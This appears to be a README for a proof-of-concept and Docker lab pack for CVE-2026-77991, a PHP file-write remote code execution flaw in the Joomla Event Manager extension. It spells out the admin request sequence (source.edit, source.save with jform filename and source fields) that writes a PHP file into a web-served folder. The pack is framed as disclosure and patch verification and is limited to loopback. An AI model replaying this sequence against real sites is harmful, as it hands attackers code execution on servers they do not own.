abraxas/cve-2026-77991Proof-of-concept and lab pack for CVE-2026-77991, a privileged PHP file-write RCE in Joomla Event Manager through 5.0.0, with Docker lab and witness verification.
abraxaslabs.tech · github.com/abraxas · @abraxas_null · CVE-2026-77991
JEM - Joomla Event Manager 5.0.0 — joomlaeventmanager.net
Joomla Extension - joomlaeventmanager.net - Privileged remote code execution in Joomla Event Manager < 5.0.1 - The administrator source model allows to write dangerous file type incl. PHP, leading to remote code execution.
| CVE | CVE-2026-77991 · CVE.org |
| CWE | — |
| CVSS | see advisory |
| Product | JEM - Joomla Event Manager |
| Affected | all versions through 5.0.0 (inclusive) |
| Patched | 5.0.1 and later |
| Auth | none (see source map) |
| Lab | 127.0.0.1 only · vendor/client disclosure pack, not a scanner |
The advisory names the administrator source model. HTTP is com_jem task=source.save, not an ajax action=. PHP method save() is not the URL. PR:H — unauthenticated POST is not this CVE.
POST/administrator/index.phpPOST /administrator/index.php login (admin/labadmin)GET /administrator/index.php?option=com_jem&task=source.edit&id=<base64 poc_witness.php> (JemControllerSource::edit)POST option=com_jem task=source.save jform[filename]+jform[source]+token (controllers/source.php:136)JemModelSource::save File::write media/com_jem/css/<file> (models/source.php:359-396)GET /media/com_jem/css/poc_witness.phpGET /media/com_jem/css/poc_witness.php returns POC_WITNESS_77991. Login 200 HTML or token fail is not it.
Do this first: Update JEM - Joomla Event Manager to 5.0.1 or newer.
Verify after upgrade
CVE-2026-77991-Abraxas-Labs.py against the patched build: the mapped witness must not appear.If you cannot update immediately
Target only http://127.0.0.1:8088 (or the loopback you bound). Do not point this script at the internet.
python3 CVE-2026-77991-Abraxas-Labs.py
Success is the witness above in the response body. Generic 200 HTML is not it.
Loopback stack used to reproduce. Official images unless a Dockerfile in this folder builds from source.
cd lab
docker compose up --force-recreate
Bind the vulnerable product tree next to Compose if the YAML mounts a local directory (plugin zip / source tag from the version table). Publish nothing except 127.0.0.1.
# CVE-2026-77991 (structured records)
- input: `https://nvd.nist.gov/vuln/detail/CVE-2026-77991`
- CWE: n/a
- published: n/a
## NVD description
error: <urlopen error [Errno 8] nodename nor servname provided, or not known>
## MITRE description
Joomla Extension - joomlaeventmanager.net - Privileged remote code execution in Joomla Event Manager < 5.0.1 - The administrator source model allows to write dangerous file type incl. PHP, leading to remote code execution.
## Affected
- joomlaeventmanager.net JEM - Joomla Event Manager extension for Joomla 1.0.0-5.0.0 affected
## References (JSON sources only)
- https://www.joomlaeventmanager.net/
- https://github.com/advisories/GHSA-gh3c-9wwf-mj2v
- https://nvd.nist.gov/vuln/detail/CVE-2026-77991
- https://www.joomlaeventmanager.net
## GitHub advisory
Joomla Extension - joomlaeventmanager.net - Privileged remote code execution in Joomla Event...
Joomla Extension - joomlaeventmanager.net - Privileged remote code execution in Joomla Event Manager < 5.0.1 - The administrator source model allows to write dangerous file type incl. PHP, leading to remote code execution.
This pack is for the vendor, the site owner, and licensed labs. The script talks to 127.0.0.1. Using it against systems you do not own is not authorized by Abraxas Labs. No warranty.